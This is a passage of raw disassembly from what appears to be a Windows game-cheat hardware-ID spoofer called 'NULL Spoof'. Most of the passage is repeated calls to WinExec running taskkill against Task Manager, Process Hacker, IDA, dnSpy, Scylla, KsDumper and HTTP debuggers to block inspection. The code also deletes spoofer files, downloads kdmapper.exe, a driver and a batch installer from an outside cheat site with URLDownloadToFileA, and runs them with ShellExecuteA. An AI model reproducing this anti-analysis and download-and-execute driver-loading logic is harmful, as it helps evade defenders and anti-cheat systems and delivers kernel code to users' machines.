lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, gethostname
lea r8, str.Are_You_Sure_You_Want_To_Null_Spoof
lea rdx, str.NULL_Spoof
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, Ordinal_50
lea r8, str.ACTIVATING
lea rdx, str.PLEASE_WAIT
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.EXE
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_macchangerdriver.sys
lea rcx, [rsp + 0xe330]
call fcn.14005d9d0
nop
lea rdx, [0x140392930]
lea rcx, [rsp + 0xe310]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_kdmapper.exe
lea rcx, [rsp + 0xe2f0]
call fcn.14005d9d0
nop
lea rdx, [0x1403925a8]
lea rcx, [rsp + 0xe2d0]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_MACCHANGERdriverinstaller.bat
lea rcx, [rsp + 0xe2b0]
call fcn.14005d9d0
nop
lea rdx, [0x140392970]
lea rcx, [rsp + 0xe290]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xe310]
call fcn.14005d8d0
mov qword [rsp + 0x918], rax
lea rcx, [rsp + 0xe330]
call fcn.14005d8d0
mov qword [rsp + 0x920], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x918]
mov rdx, qword [rsp + 0x920]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xe2d0]
call fcn.14005d8d0
mov qword [rsp + 0x928], rax
lea rcx, [rsp + 0xe2f0]
call fcn.14005d8d0
mov qword [rsp + 0x930], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x928]
mov rdx, qword [rsp + 0x930]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xe290]
call fcn.14005d8d0
mov qword [rsp + 0x938], rax
lea rcx, [rsp + 0xe2b0]
call fcn.14005d8d0
mov qword [rsp + 0x940], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x938]
mov rdx, qword [rsp + 0x940]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140392970]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
